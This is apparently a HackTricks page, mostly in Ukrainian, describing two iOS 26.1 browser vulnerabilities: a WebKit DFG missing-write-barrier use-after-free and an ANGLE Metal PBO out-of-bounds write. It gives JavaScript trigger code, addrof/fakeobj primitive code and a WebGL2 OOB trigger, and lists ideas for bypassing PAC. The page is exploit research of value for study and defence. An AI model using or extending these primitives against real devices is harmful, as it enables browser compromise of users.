WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Summary
- DFG Store Barrier bug (CVE-2025-43529): У
DFGStoreBarrierInsertionPhase.cppситуація, коли Phi node позначено як escaped, тоді як його Upsilon inputs — ні, призводить до того, що фаза пропускає вставлення write barrier для наступних записів у об’єкти. Під тиском GC це дозволяє JSC звільняти ще досяжні об’єкти → use-after-free. - Exploit target: Змусити об’єкт Date матеріалізувати butterfly (наприклад,
a[0] = 1.1), щоб butterfly було звільнено, а потім перевикористано як сховище елементів масиву для створення плутанини boxed/unboxed →addrof/fakeobjprimitives. - ANGLE Metal PBO bug (CVE-2025-14174): Metal backend виділяє PBO staging buffer, використовуючи
UNPACK_IMAGE_HEIGHTзамість реальної висоти текстури. Якщо задати маленьку unpack height і потім викликати великийtexImage2D, це спричиняє staging-buffer OOB write (~240KB у наведеному PoC нижче). - PAC blockers on arm64e (iOS 26.1): TypedArray
m_vectorі JSArraybutterflyпідписані PAC; підробка fake objects з вказівниками, вибраними зловмисником, призводить до аварії зEXC_BAD_ACCESS/EXC_ARM_PAC. Працює тільки повторне використання вже підписаних butterflies (reinterpretation boxed/unboxed).
Виклик відсутнього DFG write barrier → UAF
function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A; // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly
// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));
const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped
A.p1 = f; // Missing barrier state set up
for (let i = 0; i < 1e6; ++i) {} // GC race window
b.p1 = a; // Store without barrier → frees `a`/butterfly
}
Ключові моменти:
- Помістіть A в old space, щоб задіяти generational barriers.
- Створіть проіндексований Date, щоб butterfly став цільовим звільненим об’єктом.
- Spray
ArrayBuffer(0x800000), щоб примусити GC і розширити race. - Невідповідність escape Phi/Upsilon зупиняє вставку barrier;
b.p1 = aвиконується without a write barrier, тож GC reclaimsa/butterfly.
Butterfly reclaim → boxed/unboxed confusion
Після того як GC звільнить Date butterfly, spray arrays так, щоб freed slab був повторно використаний як elements для двох arrays з різними element kinds:
boxed_arr[0] = obj; // store as boxed pointer
const addr = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr); // write pointer bits as float
const fake = boxed_arr[0]; // reinterpret as object → fakeobj
Статус на iOS 26.1 (arm64e):
- Працює:
addrof,fakeobj, 20+ address leaks per run, inline-slot read/write (on known inline fields). - Ще нестабільно: generalized
read64/write64via inline-slot backings.
Обмеження PAC на arm64e (чому fake objects аварійно завершують роботу)
- TypedArray
m_vectorта JSArraybutterflyпідписані PAC; підробка вказівників призводить доEXC_BAD_ACCESS/ ймовірноEXC_ARM_PAC. - Примітив confusion працює, тому що він reuses legitimate signed butterflies; введення unsigned attacker pointers не проходить автентифікацію.
- Зауважені потенційні ідеї обходу: JIT paths, які пропускають auth; gadgets, що підписують attacker pointers; або pivoting через ANGLE OOB.
Недостатнє виділення ANGLE Metal PBO → OOB write
Використайте дуже малий unpack height, щоб зменшити staging buffer, потім завантажте велику texture, щоб the copy overruns:
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual = 256 * 256 * 4 = 256KB → ~240KB OOB
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
Примітки:
- Помилка в
TextureMtl.cpp: staging buffer використовуєUNPACK_IMAGE_HEIGHTзамість фактичної висоти текстури на шляху PBO. - У референсній перевірці тригер WebGL2 PBO підключено, але на iOS 26.1 його поки що не спостерігали надійно.
Посилання
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


